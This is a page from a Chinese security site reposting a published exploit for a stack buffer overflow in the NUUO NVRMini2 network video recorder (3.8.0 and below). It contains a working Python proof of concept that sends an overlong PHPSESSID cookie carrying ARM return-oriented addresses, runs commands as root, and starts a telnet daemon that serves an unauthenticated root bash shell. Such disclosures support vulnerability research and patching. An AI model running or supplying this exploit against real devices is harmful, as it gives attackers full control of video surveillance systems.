首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NUUO NVRMini2 3.8 - 'cgi_system' Buffer Overflow (Enable Telnet)
来源:vfocus.net 作者:Baines 发布时间:2018-09-19  
# Exploit Title: NUUO NVRMini2 3.8 - 'cgi_system' Buffer Overflow (Enable Telnet)
# Date: 2018-09-17
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.nuuo.com/
# Device: NRVMini2
# Software Link: https://www.nuuo.com/ProductNode.php?node=2
# Versions: 3.8.0 and below
# Tested Against: 03.07.0000.0011 and 03.08.0000.0005
# Tested on: Ubuntu and OSX
# CVE: N/A
# TRA: https://www.tenable.com/security/research/tra-2018-25
# Description:
 
# A stack buffer overflow exists in the cgi_system binary. The error occurs
# due to lack of bounds checking on the PHPSESSID value before and when
# it is passed to sprintf in order to generate the session id file name.
# As written, this exploit enables Telnet.
 
# Executes a command via the stack buffer overflow in cookie parsing. The command
# is executed via 'system' as root. The overlow logic is like so:
#
# address 1: 405e2e34 - load system into r3 and address 2 into lr
#
# .text:000D0E34 0F 48 BD E8                 LDMFD   SP!, {R0-R3,R11,LR}
# .text:000D0E38 1E FF 2F E1                 BX      LR
#
# address 2: 406037cc - load the system command into r0. Jump to system.
#
# .text:000F17CC 0D 00 A0 E1                 MOV     R0, SP
# .text:000F17D0 33 FF 2F E1                 BLX     R3
#
# [   address 1  ][       r0     ][      r1      ][      r2      ][  r3 system   ][      r11     ][  LR - addr2  ][ system command ]
# \x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat
 
# PoC
 
import requests
import socket
import sys
 
def stack_buffer_overflow(command, ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print '[+] Executing %s on %s:%s...' % (command, ip, port)
    sock.connect((ip, int(port)))
    exec_request = ('GET /cgi-bin/cgi_system?cmd=portCheck HTTP/1.1\r\n' +
                    'Host: ' + ip + ':' + port + '\r\n' +
                    'Accept: */*\r\n' +
                    'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' +
                    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +
                    '\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +
                    '\r\n\r\n')
    sock.sendall(exec_request)
    data = sock.recv(1024)
    sock.close()
 
    # We should get a 500 Internal error in response
    return data.find('500') != -1
 
# Quickly tries to grab the version of the target. If the target is
# using anything other than 3.7 or 3.8 then we'll bail out since
# haven't tested on any other targets
 
def check_target(ip, port):
    index = requests.get('http://' + ip + ':' + port + "/upgrade_handle.php?cmd=getcurrentinfo")
    return (index.text.find('<Titan>03.08') != -1 or index.text.find('<Titan>03.07') != -1)
 
if __name__ == "__main__":
 
    if (len(sys.argv) != 3):
        print "Usage: python nvrmini2_enable_telnet.py <ipv4 address> <port>"
        sys.exit(1)
 
    ip = sys.argv[1]
    port = sys.argv[2]
 
    if int(port) > 65535:
        print('[-] Invalid port parameter')
        sys.exit(0)
 
    if len(ip.split('.')) != 4:
        print('[-] Invalid IP address parameter')
        sys.exit(0)
 
    print '[+] Checking for a valid target...'
    if (check_target(ip, port) == False):
        print('[-] The target is not a NVRMini2 or its using an untested version.')
        sys.exit(0)
    print '[+] Valid target!'
 
    if (stack_buffer_overflow('mount -t devpts devpts /dev/pts', ip, port) == False):
        print('[-] Mount failed')
        sys.exit(0)
 
    if (stack_buffer_overflow('/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"&', ip, port) == False):
        print('[-] telnetd bind failed')
        sys.exit(0)
 
    print('[+] Success!')
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LG SuperSign EZ CMS 2.5 - Loca
·Solaris libnspr NSPR_LOG_FILE
·NICO-FTP 3.0.1.19 - Buffer Ove
·Microsoft Edge Chakra PathType
·LG SuperSign EZ CMS 2.5 - Remo
·Microsoft Edge Chakra JIT loca
·udisks2 2.8.0 - Denial of Serv
·CA Release Automation NiMi 6.5
·Joomla! Component AMGallery 1.
·Netis ADSL Router DL4322D RTK
·Termite 3.4 - Denial of Servic
·Oracle VirtualBox Manager 5.2.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved